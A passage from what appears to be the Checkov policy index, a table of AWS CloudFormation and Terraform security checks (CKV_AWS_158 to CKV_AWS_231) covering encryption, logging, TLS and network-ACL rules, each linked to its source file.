[CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupKMSKey.py) | | 528 | CKV_AWS_158 | resource | aws_cloudwatch_log_group | Ensure that CloudWatch Log Group is encrypted by KMS | Terraform | [CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupKMSKey.py) | | 529 | CKV_AWS_159 | resource | aws_athena_workgroup | Ensure that Athena Workgroup is encrypted | Terraform | [AthenaWorkgroupEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaWorkgroupEncryption.py) | | 530 | CKV_AWS_160 | resource | AWS::Timestream::Database | Ensure that Timestream database is encrypted with KMS CMK | Cloudformation | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TimestreamDatabaseKMSKey.py) | | 531 | CKV_AWS_160 | resource | aws_timestreamwrite_database | Ensure that Timestream database is encrypted with KMS CMK | Terraform | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TimestreamDatabaseKMSKey.py) | | 532 | CKV_AWS_161 | resource | AWS::RDS::DBInstance | Ensure RDS database has IAM authentication enabled | Cloudformation | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSIAMAuthentication.py) | | 533 | CKV_AWS_161 | resource | aws_db_instance | Ensure RDS database has IAM authentication enabled | Terraform | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSIAMAuthentication.py) | | 534 | CKV_AWS_162 | resource | AWS::RDS::DBCluster | Ensure RDS cluster has IAM authentication enabled | Cloudformation | [RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSClusterIAMAuthentication.py) | | 535 | CKV_AWS_162 | resource | aws_rds_cluster | Ensure RDS cluster has IAM authentication enabled | Terraform | [RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterIAMAuthentication.py) | | 536 | CKV_AWS_163 | resource | AWS::ECR::Repository | Ensure ECR image scanning on push is enabled | Cloudformation | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImageScanning.py) | | 537 | CKV_AWS_163 | resource | aws_ecr_repository | Ensure ECR image scanning on push is enabled | Terraform | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRImageScanning.py) | | 538 | CKV_AWS_164 | resource | AWS::Transfer::Server | Ensure Transfer Server is not exposed publicly. | Cloudformation | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TransferServerIsPublic.py) | | 539 | CKV_AWS_164 | resource | aws_transfer_server | Ensure Transfer Server is not exposed publicly. | Terraform | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerIsPublic.py) | | 540 | CKV_AWS_165 | resource | AWS::DynamoDB::GlobalTable | Ensure DynamoDB global table point in time recovery (backup) is enabled | Cloudformation | [DynamodbGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbGlobalTableRecovery.py) | | 541 | CKV_AWS_165 | resource | aws_dynamodb_global_table | Ensure DynamoDB point in time recovery (backup) is enabled for global tables | Terraform | [DynamoDBGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBGlobalTableRecovery.py) | | 542 | CKV_AWS_166 | resource | AWS::Backup::BackupVault | Ensure Backup Vault is encrypted at rest using KMS CMK | Cloudformation | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BackupVaultEncrypted.py) | | 543 | CKV_AWS_166 | resource | aws_backup_vault | Ensure Backup Vault is encrypted at rest using KMS CMK | Terraform | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BackupVaultEncrypted.py) | | 544 | CKV_AWS_167 | resource | aws_glacier_vault | Ensure Glacier Vault access policy is not public by only allowing specific services or principals to access it | Terraform | [GlacierVaultAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlacierVaultAnyPrincipal.py) | | 545 | CKV_AWS_168 | resource | aws_sqs_queue | Ensure SQS queue policy is not public by only allowing specific services or principals to access it | Terraform | [SQSQueuePolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py) | | 546 | CKV_AWS_168 | resource | aws_sqs_queue_policy | Ensure SQS queue policy is not public by only allowing specific services or principals to access it | Terraform | [SQSQueuePolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py) | | 547 | CKV_AWS_169 | resource | aws_sns_topic_policy | Ensure SNS topic policy is not public by only allowing specific services or principals to access it | Terraform | [SNSTopicPolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSTopicPolicyAnyPrincipal.py) | | 548 | CKV_AWS_170 | resource | AWS::QLDB::Ledger | Ensure QLDB ledger permissions mode is set to STANDARD | Cloudformation | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerPermissionsMode.py) | | 549 | CKV_AWS_170 | resource | aws_qldb_ledger | Ensure QLDB ledger permissions mode is set to STANDARD | Terraform | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/QLDBLedgerPermissionsMode.py) | | 550 | CKV_AWS_171 | resource | aws_emr_security_configuration | Ensure EMR Cluster security configuration encryption is using SSE-KMS | Terraform | [EMRClusterIsEncryptedKMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterIsEncryptedKMS.py) | | 551 | CKV_AWS_172 | resource | AWS::QLDB::Ledger | Ensure QLDB ledger has deletion protection enabled | Cloudformation | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerDeletionProtection.py) | | 552 | CKV_AWS_172 | resource | aws_qldb_ledger | Ensure QLDB ledger has deletion protection enabled | Terraform | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/QLDBLedgerDeletionProtection.py) | | 553 | CKV_AWS_173 | resource | AWS::Lambda::Function | Check encryption settings for Lambda environment variable | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py) | | 554 | CKV_AWS_173 | resource | AWS::Serverless::Function | Check encryption settings for Lambda environment variable | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py) | | 555 | CKV_AWS_173 | resource | aws_lambda_function | Check encryption settings for Lambda environmental variable | Terraform | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py) | | 556 | CKV_AWS_174 | resource | AWS::CloudFront::Distribution | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher | Cloudformation | [CloudFrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudFrontTLS12.py) | | 557 | CKV_AWS_174 | resource | aws_cloudfront_distribution | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher | Terraform | [CloudfrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontTLS12.py) | | 558 | CKV_AWS_175 | resource | aws_waf_web_acl | Ensure WAF has associated rules | Terraform | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py) | | 559 | CKV_AWS_175 | resource | aws_wafregional_web_acl | Ensure WAF has associated rules | Terraform | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py) | | 560 | CKV_AWS_175 | resource | aws_wafv2_web_acl | Ensure WAF has associated rules | Terraform | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py) | | 561 | CKV_AWS_176 | resource | aws_waf_web_acl | Ensure Logging is enabled for WAF Web Access Control Lists | Terraform | [WAFHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasLogs.py) | | 562 | CKV_AWS_176 | resource | aws_wafregional_web_acl | Ensure Logging is enabled for WAF Web Access Control Lists | Terraform | [WAFHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasLogs.py) | | 563 | CKV_AWS_177 | resource | aws_kinesis_video_stream | Ensure Kinesis Video Stream is encrypted by KMS using a customer managed Key (CMK) | Terraform | [KinesisVideoEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisVideoEncryptedWithCMK.py) | | 564 | CKV_AWS_178 | resource | aws_fsx_ontap_file_system | Ensure fx ontap file system is encrypted by KMS using a customer managed Key (CMK) | Terraform | [FSXOntapFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXOntapFSEncryptedWithCMK.py) | | 565 | CKV_AWS_179 | resource | aws_fsx_windows_file_system | Ensure FSX Windows filesystem is encrypted by KMS using a customer managed Key (CMK) | Terraform | [FSXWindowsFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXWindowsFSEncryptedWithCMK.py) | | 566 | CKV_AWS_180 | resource | aws_imagebuilder_component | Ensure Image Builder component is encrypted by KMS using a customer managed Key (CMK) | Terraform | [ImagebuilderComponentEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderComponentEncryptedWithCMK.py) | | 567 | CKV_AWS_181 | resource | aws_s3_object_copy | Ensure S3 Object Copy is encrypted by KMS using a customer managed Key (CMK) | Terraform | [S3ObjectCopyEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ObjectCopyEncryptedWithCMK.py) | | 568 | CKV_AWS_182 | resource | aws_docdb_cluster | Ensure DocumentDB is encrypted by KMS using a customer managed Key (CMK) | Terraform | [DocDBEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBEncryptedWithCMK.py) | | 569 | CKV_AWS_183 | resource | aws_ebs_snapshot_copy | Ensure EBS Snapshot Copy is encrypted by KMS using a customer managed Key (CMK) | Terraform | [EBSSnapshotCopyEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSSnapshotCopyEncryptedWithCMK.py) | | 570 | CKV_AWS_184 | resource | aws_efs_file_system | Ensure resource is encrypted by KMS using a customer managed Key (CMK) | Terraform | [EFSFileSystemEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSFileSystemEncryptedWithCMK.py) | | 571 | CKV_AWS_185 | resource | aws_kinesis_stream | Ensure Kinesis Stream is encrypted by KMS using a customer managed Key (CMK) | Terraform | [KinesisStreamEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisStreamEncryptedWithCMK.py) | | 572 | CKV_AWS_186 | resource | aws_s3_bucket_object | Ensure S3 bucket Object is encrypted by KMS using a customer managed Key (CMK) | Terraform | [S3BucketObjectEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BucketObjectEncryptedWithCMK.py) | | 573 | CKV_AWS_187 | resource | AWS::SageMaker::Domain | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py) | | 574 | CKV_AWS_187 | resource | AWS::SageMaker::NotebookInstance | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py) | | 575 | CKV_AWS_187 | resource | aws_sagemaker_domain | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Terraform | [SagemakerDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py) | | 576 | CKV_AWS_187 | resource | aws_sagemaker_notebook_instance | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Terraform | [SagemakerDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py) | | 577 | CKV_AWS_189 | resource | aws_ebs_volume | Ensure EBS Volume is encrypted by KMS using a customer managed Key (CMK) | Terraform | [EBSVolumeEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSVolumeEncryptedWithCMK.py) | | 578 | CKV_AWS_190 | resource | aws_fsx_lustre_file_system | Ensure lustre file systems is encrypted by KMS using a customer managed Key (CMK) | Terraform | [LustreFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LustreFSEncryptedWithCMK.py) | | 579 | CKV_AWS_191 | resource | aws_elasticache_replication_group | Ensure ElastiCache replication group is encrypted by KMS using a customer managed Key (CMK) | Terraform | [ElasticacheReplicationGroupEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptedWithCMK.py) | | 580 | CKV_AWS_192 | resource | AWS::WAFv2::WebACL | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Cloudformation | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFACLCVE202144228.py) | | 581 | CKV_AWS_192 | resource | aws_wafv2_web_acl | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Terraform | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFACLCVE202144228.py) | | 582 | CKV_AWS_193 | resource | AWS::AppSync::GraphQLApi | Ensure AppSync has Logging enabled | Cloudformation | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncLogging.py) | | 583 | CKV_AWS_193 | resource | aws_appsync_graphql_api | Ensure AppSync has Logging enabled | Terraform | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppSyncLogging.py) | | 584 | CKV_AWS_194 | resource | AWS::AppSync::GraphQLApi | Ensure AppSync has Field-Level logs enabled | Cloudformation | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncFieldLevelLogs.py) | | 585 | CKV_AWS_194 | resource | aws_appsync_graphql_api | Ensure AppSync has Field-Level logs enabled | Terraform | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppSyncFieldLevelLogs.py) | | 586 | CKV_AWS_195 | resource | AWS::Glue::Crawler | Ensure Glue component has a security configuration associated | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 587 | CKV_AWS_195 | resource | AWS::Glue::DevEndpoint | Ensure Glue component has a security configuration associated | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 588 | CKV_AWS_195 | resource | AWS::Glue::Job | Ensure Glue component has a security configuration associated | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 589 | CKV_AWS_195 | resource | aws_glue_crawler | Ensure Glue component has a security configuration associated | Terraform | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 590 | CKV_AWS_195 | resource | aws_glue_dev_endpoint | Ensure Glue component has a security configuration associated | Terraform | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 591 | CKV_AWS_195 | resource | aws_glue_job | Ensure Glue component has a security configuration associated | Terraform | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 592 | CKV_AWS_196 | resource | aws_elasticache_security_group | Ensure no aws_elasticache_security_group resources exist | Terraform | [ElasticacheHasSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheHasSecurityGroup.py) | | 593 | CKV_AWS_197 | resource | AWS::AmazonMQ::Broker | Ensure MQ Broker Audit logging is enabled | Cloudformation | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MQBrokerAuditLogging.py) | | 594 | CKV_AWS_197 | resource | aws_mq_broker | Ensure MQ Broker Audit logging is enabled | Terraform | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerAuditLogging.py) | | 595 | CKV_AWS_198 | resource | aws_db_security_group | Ensure no aws_db_security_group resources exist | Terraform | [RDSHasSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSHasSecurityGroup.py) | | 596 | CKV_AWS_199 | resource | aws_imagebuilder_distribution_configuration | Ensure Image Builder Distribution Configuration encrypts AMI's using KMS - a customer managed Key (CMK) | Terraform | [ImagebuilderDistributionConfigurationEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderDistributionConfigurationEncryptedWithCMK.py) | | 597 | CKV_AWS_200 | resource | aws_imagebuilder_image_recipe | Ensure that Image Recipe EBS Disk are encrypted with CMK | Terraform | [ImagebuilderImageRecipeEBSEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderImageRecipeEBSEncrypted.py) | | 598 | CKV_AWS_201 | resource | aws_memorydb_cluster | Ensure MemoryDB is encrypted at rest using KMS CMKs | Terraform | [MemoryDBEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBEncryptionWithCMK.py) | | 599 | CKV_AWS_202 | resource | aws_memorydb_cluster | Ensure MemoryDB data is encrypted in transit | Terraform | [MemoryDBClusterIntransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBClusterIntransitEncryption.py) | | 600 | CKV_AWS_203 | resource | aws_fsx_openzfs_file_system | Ensure resource is encrypted by KMS using a customer managed Key (CMK) | Terraform | [FSXOpenZFSFileSystemEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXOpenZFSFileSystemEncryptedWithCMK.py) | | 601 | CKV_AWS_204 | resource | aws_ami | Ensure AMIs are encrypted using KMS CMKs | Terraform | [AMIEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMIEncryption.py) | | 602 | CKV_AWS_205 | resource | aws_ami_launch_permission | Ensure to Limit AMI launch Permissions | Terraform | [AMILaunchIsShared.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMILaunchIsShared.py) | | 603 | CKV_AWS_206 | resource | aws_api_gateway_domain_name | Ensure API Gateway Domain uses a modern security Policy | Terraform | [APIGatewayDomainNameTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayDomainNameTLS.py) | | 604 | CKV_AWS_207 | resource | aws_mq_broker | Ensure MQ Broker minor version updates are enabled | Terraform | [MQBrokerMinorAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerMinorAutoUpgrade.py) | | 605 | CKV_AWS_208 | resource | aws_mq_broker | Ensure MQ Broker version is current | Terraform | [MQBrokerVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerVersion.py) | | 606 | CKV_AWS_208 | resource | aws_mq_configuration | Ensure MQ Broker version is current | Terraform | [MQBrokerVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerVersion.py) | | 607 | CKV_AWS_209 | resource | aws_mq_broker | Ensure MQ broker encrypted by KMS using a customer managed Key (CMK) | Terraform | [MQBrokerEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerEncryptedWithCMK.py) | | 608 | CKV_AWS_210 | resource | aws_batch_job_definition | Batch job does not define a privileged container | Terraform | [BatchJobIsNotPrivileged.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BatchJobIsNotPrivileged.py) | | 609 | CKV_AWS_211 | resource | aws_db_instance | Ensure RDS uses a modern CaCert | Terraform | [RDSCACertIsRecent.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSCACertIsRecent.py) | | 610 | CKV_AWS_212 | resource | aws_dms_replication_instance | Ensure DMS replication instance is encrypted by KMS using a customer managed Key (CMK) | Terraform | [DMSReplicationInstanceEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstanceEncryptedWithCMK.py) | | 611 | CKV_AWS_213 | resource | aws_load_balancer_policy | Ensure ELB Policy uses only secure protocols | Terraform | [ELBPolicyUsesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBPolicyUsesSecureProtocols.py) | | 612 | CKV_AWS_214 | resource | aws_appsync_api_cache | Ensure AppSync API Cache is encrypted at rest | Terraform | [AppsyncAPICacheEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionAtRest.py) | | 613 | CKV_AWS_215 | resource | aws_appsync_api_cache | Ensure AppSync API Cache is encrypted in transit | Terraform | [AppsyncAPICacheEncryptionInTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionInTransit.py) | | 614 | CKV_AWS_216 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution is enabled | Terraform | [CloudfrontDistributionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionEnabled.py) | | 615 | CKV_AWS_217 | resource | aws_api_gateway_deployment | Ensure Create before destroy for API deployments | Terraform | [APIGatewayDeploymentCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayDeploymentCreateBeforeDestroy.py) | | 616 | CKV_AWS_218 | resource | aws_cloudsearch_domain | Ensure that CloudSearch is using latest TLS | Terraform | [CloudsearchDomainTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudsearchDomainTLS.py) | | 617 | CKV_AWS_219 | resource | aws_codepipeline | Ensure CodePipeline Artifact store is using a KMS CMK | Terraform | [CodePipelineArtifactsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodePipelineArtifactsEncrypted.py) | | 618 | CKV_AWS_220 | resource | aws_cloudsearch_domain | Ensure that CloudSearch is using https | Terraform | [CloudsearchDomainEnforceHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudsearchDomainEnforceHttps.py) | | 619 | CKV_AWS_221 | resource | aws_codeartifact_domain | Ensure CodeArtifact Domain is encrypted by KMS using a customer managed Key (CMK) | Terraform | [CodeArtifactDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeArtifactDomainEncryptedWithCMK.py) | | 620 | CKV_AWS_222 | resource | aws_dms_replication_instance | Ensure DMS replication instance gets all minor upgrade automatically | Terraform | [DMSReplicationInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstanceMinorUpgrade.py) | | 621 | CKV_AWS_223 | resource | aws_ecs_cluster | Ensure ECS Cluster enables logging of ECS Exec | Terraform | [ECSClusterLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterLoggingEnabled.py) | | 622 | CKV_AWS_224 | resource | aws_ecs_cluster | Ensure ECS Cluster logging is enabled and client to container communication uses CMK | Terraform | [ECSClusterLoggingEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterLoggingEncryptedWithCMK.py) | | 623 | CKV_AWS_225 | resource | aws_api_gateway_method_settings | Ensure API Gateway method setting caching is enabled | Terraform | [APIGatewayMethodSettingsCacheEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEnabled.py) | | 624 | CKV_AWS_226 | resource | aws_db_instance | Ensure DB instance gets all minor upgrades automatically | Terraform | [DBInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py) | | 625 | CKV_AWS_226 | resource | aws_rds_cluster_instance | Ensure DB instance gets all minor upgrades automatically | Terraform | [DBInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py) | | 626 | CKV_AWS_227 | resource | aws_kms_key | Ensure KMS key is enabled | Terraform | [KMSKeyIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSKeyIsEnabled.py) | | 627 | CKV_AWS_228 | resource | aws_elasticsearch_domain | Verify Elasticsearch domain is using an up to date TLS policy | Terraform | [ElasticsearchTLSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py) | | 628 | CKV_AWS_228 | resource | aws_opensearch_domain | Verify Elasticsearch domain is using an up to date TLS policy | Terraform | [ElasticsearchTLSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py) | | 629 | CKV_AWS_229 | resource | aws_network_acl | Ensure no NACL allow ingress from 0.0.0.0:0 to port 21 | Terraform | [NetworkACLUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py) | | 630 | CKV_AWS_229 | resource | aws_network_acl_rule | Ensure no NACL allow ingress from 0.0.0.0:0 to port 21 | Terraform | [NetworkACLUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py) | | 631 | CKV_AWS_230 | resource | aws_network_acl | Ensure no NACL allow ingress from 0.0.0.0:0 to port 20 | Terraform | [NetworkACLUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py) | | 632 | CKV_AWS_230 | resource | aws_network_acl_rule | Ensure no NACL allow ingress from 0.0.0.0:0 to port 20 | Terraform | [NetworkACLUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py) | | 633 | CKV_AWS_231 | resource | aws_network_acl | Ensure no NACL allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [NetworkACLUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py) | | 634 | CKV_AWS_231 | resource | aws_network_acl_rule | Ensure no NACL allow ingress from 0.0.0.0:0 to port 3389 | Terraform | 